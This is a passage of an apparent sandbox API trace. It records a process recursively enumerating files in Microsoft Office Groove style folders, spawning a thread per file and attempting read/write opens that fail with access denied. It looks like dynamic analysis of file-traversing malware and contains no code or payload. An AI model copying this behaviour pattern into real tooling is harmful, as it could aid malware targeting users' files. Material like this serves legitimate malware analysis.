Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\" [0184.995] wcscat (in: _Dest=0xd4d5040, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*" [0184.995] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912960 [0184.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x912960 | out: lpFindFileData=0x912960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93bc38 [0186.358] wcscmp (_String1=".", _String2=".") returned 0 [0186.358] FindNextFileW (in: hFindFile=0x93bc38, lpFindFileData=0x912960 | out: lpFindFileData=0x912960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.358] wcscmp (_String1="..", _String2=".") returned 1 [0186.358] wcscmp (_String1="..", _String2="..") returned 0 [0186.358] FindNextFileW (in: hFindFile=0x93bc38, lpFindFileData=0x912960 | out: lpFindFileData=0x912960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0186.358] wcscmp (_String1="BUTTON.GIF", _String2=".") returned 1 [0186.358] wcscmp (_String1="BUTTON.GIF", _String2="..") returned 1 [0186.358] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe6) returned 0xd4bb968 [0186.358] wcscpy (in: _Dest=0xd4bb968, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" [0186.358] wcscat (in: _Dest=0xd4bb968, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\" [0186.358] wcscat (in: _Dest=0xd4bb968, _Source="BUTTON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF" [0186.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bb968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4 [0186.847] FindNextFileW (in: hFindFile=0x93bc38, lpFindFileData=0x912960 | out: lpFindFileData=0x912960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0186.847] wcscmp (_String1="HEADER.GIF", _String2=".") returned 1 [0186.847] wcscmp (_String1="HEADER.GIF", _String2="..") returned 1 [0186.847] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe6) returned 0xd4bbf08 [0186.847] wcscpy (in: _Dest=0xd4bbf08, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" [0186.847] wcscat (in: _Dest=0xd4bbf08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\" [0186.847] wcscat (in: _Dest=0xd4bbf08, _Source="HEADER.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF" [0186.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bbf08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0186.849] FindNextFileW (in: hFindFile=0x93bc38, lpFindFileData=0x912960 | out: lpFindFileData=0x912960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0186.849] wcscmp (_String1="TAB_OFF.GIF", _String2=".") returned 1 [0186.849] wcscmp (_String1="TAB_OFF.GIF", _String2="..") returned 1 [0186.849] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0xd4bbd28 [0186.849] wcscpy (in: _Dest=0xd4bbd28, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" [0186.849] wcscat (in: _Dest=0xd4bbd28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\" [0186.849] wcscat (in: _Dest=0xd4bbd28, _Source="TAB_OFF.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" [0186.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bbd28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0186.850] FindNextFileW (in: hFindFile=0x93bc38, lpFindFileData=0x912960 | out: lpFindFileData=0x912960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0186.850] wcscmp (_String1="TAB_ON.GIF", _String2=".") returned 1 [0186.851] wcscmp (_String1="TAB_ON.GIF", _String2="..") returned 1 [0186.851] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe6) returned 0xd4bc0e8 [0186.851] wcscpy (in: _Dest=0xd4bc0e8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" [0186.851] wcscat (in: _Dest=0xd4bc0e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\" [0186.851] wcscat (in: _Dest=0xd4bc0e8, _Source="TAB_ON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF" [0186.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bc0e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0186.852] FindNextFileW (in: hFindFile=0x93bc38, lpFindFileData=0x912960 | out: lpFindFileData=0x912960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0186.852] FindClose (in: hFindFile=0x93bc38 | out: hFindFile=0x93bc38) returned 1 [0186.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912960) returned 1 [0186.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5040) returned 1 [0186.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd318) returned 1 Thread: id = 7844 os_tid = 0xab0 [0184.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css")) returned 0x20 [0186.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css", dwFileAttributes=0x20) returned 0 [0186.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.367] GetLastError () returned 0x5 [0186.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css", dwFileAttributes=0x20) returned 0 [0186.367] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5120) returned 1 Thread: id = 7845 os_tid = 0xab8 [0184.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd0) returned 0x8dd5a0 [0184.996] wcscpy (in: _Dest=0x8dd5a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" [0184.996] wcscat (in: _Dest=0x8dd5a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\" [0184.996] wcscat (in: _Dest=0x8dd5a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*" [0184.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911620 [0184.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93bbf8 [0186.368] wcscmp (_String1=".", _String2=".") returned 0 [0186.368] FindNextFileW (in: hFindFile=0x93bbf8, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.368] wcscmp (_String1="..", _String2=".") returned 1 [0186.368] wcscmp (_String1="..", _String2="..") returned 0 [0186.368] FindNextFileW (in: hFindFile=0x93bbf8, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0186.369] wcscmp (_String1="TAB_OFF.GIF", _String2=".") returned 1 [0186.369] wcscmp (_String1="TAB_OFF.GIF", _String2="..") returned 1 [0186.369] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbb48 [0186.369] wcscpy (in: _Dest=0xd4bbb48, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" [0186.369] wcscat (in: _Dest=0xd4bbb48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\" [0186.369] wcscat (in: _Dest=0xd4bbb48, _Source="TAB_OFF.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF" [0188.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bbb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0188.605] FindNextFileW (in: hFindFile=0x93bbf8, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0188.605] wcscmp (_String1="TAB_ON.GIF", _String2=".") returned 1 [0188.605] wcscmp (_String1="TAB_ON.GIF", _String2="..") returned 1 [0188.605] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bc0e8 [0188.605] wcscpy (in: _Dest=0xd4bc0e8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" [0188.605] wcscat (in: _Dest=0xd4bc0e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\" [0188.605] wcscat (in: _Dest=0xd4bc0e8, _Source="TAB_ON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF" [0188.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bc0e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0188.606] FindNextFileW (in: hFindFile=0x93bbf8, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0188.606] FindClose (in: hFindFile=0x93bbf8 | out: hFindFile=0x93bbf8) returned 1 [0188.607] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911620) returned 1 [0188.607] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd5a0) returned 1 [0188.607] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ddab0) returned 1 Thread: id = 7846 os_tid = 0xc0c [0184.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css")) returned 0x20 [0186.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css", dwFileAttributes=0x20) returned 0 [0186.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.359] GetLastError () returned 0x5 [0186.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css", dwFileAttributes=0x20) returned 0 [0186.359] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5f20) returned 1 Thread: id = 7847 os_tid = 0xae0 [0184.997] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xdc) returned 0x12d48da8 [0184.997] wcscpy (in: _Dest=0x12d48da8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" [0184.997] wcscat (in: _Dest=0x12d48da8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\" [0184.997] wcscat (in: _Dest=0x12d48da8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*" [0184.997] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911d58 [0184.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93bbb8 [0186.369] wcscmp (_String1=".", _String2=".") returned 0 [0186.369] FindNextFileW (in: hFindFile=0x93bbb8, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.369] wcscmp (_String1="..", _String2=".") returned 1 [0186.369] wcscmp (_String1="..", _String2="..") returned 0 [0186.369] FindNextFileW (in: hFindFile=0x93bbb8, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0186.369] wcscmp (_String1="background.gif", _String2=".") returned 1 [0186.369] wcscmp (_String1="background.gif", _String2="..") returned 1 [0186.369] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf6) returned 0x8ec3d8 [0186.369] wcscpy (in: _Dest=0x8ec3d8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" [0186.369] wcscat (in: _Dest=0x8ec3d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\" [0186.369] wcscat (in: _Dest=0x8ec3d8, _Source="background.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif" [0189.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8ec3d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab4 [0189.347] FindNextFileW (in: hFindFile=0x93bbb8, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, 